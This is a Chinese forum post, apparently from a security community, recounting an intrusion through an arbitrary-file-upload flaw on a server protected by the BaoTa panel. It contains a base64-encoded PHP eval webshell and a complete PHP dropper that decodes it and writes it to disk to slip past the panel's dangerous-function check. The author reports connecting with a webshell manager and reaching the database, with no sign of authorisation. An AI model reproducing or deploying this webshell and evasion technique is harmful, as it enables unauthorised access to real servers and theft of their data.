一次绕过宝塔的的文件上传

caih   ·   发表于 2020-09-04 15:38:35   ·   技术文章投稿区

前几天找到个可以上传任意文件的上传点,成功上传phpinfo页面并能访问,但是不能成功上传一句话,发现这台主机装了宝塔,经过反复尝试终于成功上传一句话并连接。
0x01 漏洞发现
结果前期摸索,发现了一个上传点,能上传任意文件,且会返回路径

尝试上传phpinfo页面,上传成功并返回地址(phpinfo页面忘记截图了),到这里想着getshell离我不远了,只有一句话的距离。
0x02 遇见障碍
一切当然没有想象中的顺利,上传一句话并没有返回路径,尝试不同的一句话,发现不管是使用冰蝎还是蚁剑的免杀马都不能成功返回路径,工具扫一波发现使用的是宝塔。
在宝塔官网发现,应该是禁用了危险函数,对我们上传的php文件会进行检查,看是否存在危险函数。
0x03 新思路

那么就得换一种思路,既然上传上去的一句话连不上,就尝试在本地生成一个一句话。由于我们能上传任意文件,于是先上传一个base64加密的一句话文本即txt文件,返回文件路径IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=


接下来我们上传一个将上述txt文件进行base64解码并生成一个名叫thinkphp_logs.php的一句话的php文件。内容为:
`<?php
$path = “./“;
$path = $path.”1.txt”;
echo $path;
//$fp = fopen(“$path”,”r”);
//$str = fread($fp,filesize($path));
$str = file_get_contents(“$path”,”r”);
$str = base64_decode($str);
echo $str;

$handle = fopen(“./thinkphp_logs.php”,”w”);
fwrite($handle,$str);
fclose($handle);
?>`

如上,由于此文件并没有危险函数,所以并未被删除,成功返回路径,需要执行这个php文件就得在web上访问一下他,利用返回的路径,在浏览器访问这个文件,该文件成功执行


一句话在本地生成,宝塔并未删除,用冰蝎连接,连接成功


但是由于使用了宝塔,限制得很死并不能执行任何命令,只能连数据库,并未成功getshell


0x04 总结
这次并没有成功的getshell,只是获取了数据库。这里只是讲述了文件上传的新思路,如果不能成功上传一句话就不需要再去尝试直接上传一句话,可以考虑先上传不会被查杀的php文件,然后通过这个文件生成一句话,按照这种思路,生成一句话的方法就有很多种,就不限于这种加密之后再解密。

用户名金币积分时间理由
wsx 5.00 0 2020-09-10 09:09:14 一个受益终生的帖子~~
wsx 5.00 0 2020-09-10 09:09:08 一个受益终生的帖子~~
Track-聂风 40.00 0 2020-09-09 11:11:02 想办法成功执行命令,宝塔不难

打赏我,让我更有动力~

1 Reply   |  Until 2020-9-9 | 1879 View

holic
发表于 2020-9-9

这边有个疑问,只能上传txt文件的话,那要怎么解密

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.